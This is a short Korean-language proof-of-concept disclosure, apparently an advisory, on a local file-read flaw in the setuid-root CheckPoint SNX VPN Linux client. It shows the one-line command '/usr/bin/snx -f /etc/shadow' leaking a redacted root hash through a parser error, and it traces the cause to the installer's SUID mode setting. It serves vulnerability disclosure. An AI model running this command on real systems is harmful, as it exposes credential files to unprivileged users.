
CheckPoint SNX VPN Linux 클라이언트를 통한 권한 있는 파일 읽기 개념 증명
CheckPoint SNX VPN Linux 클라이언트를 통한 권한 있는 파일 읽기에 대한 개념 증명.
익스플로잇을 수행하려면 -f 매개변수를 사용하여 모든 파일을 SNX 구성으로 로드하면 됩니다. 파일이 유효한 SNX 구성이 아닌 경우 오류가 발생하고 구문 오류를 표시하며, 문자열 종결자가 발견될 때까지 내용이 유출됩니다(예: etc/shadow):
$ /usr/bin/snx -f /etc/shadow
parsing of the file: /etc/shadow failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'
Valid attributes are:
- server SNX server to connet to
- sslport The SNX SSL port (if not default)
- username the user name
(...)
원인은 실행 파일 /usr/bin/snx가 설치 중에 설정된 SETUID 비트를 가지고 수퍼유저로 실행되기 때문입니다.
특히, .sh 설치 파일(CheckPointVPN_SNX_Linux_800007075.sh)에 정의된 COMMAND_TO_RUN 변수:
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"
--mode=u=rxs 매개변수에서 마지막 s는 SUID 비트를 설정하여 실행 파일 바이너리가 root로 실행되도록 합니다.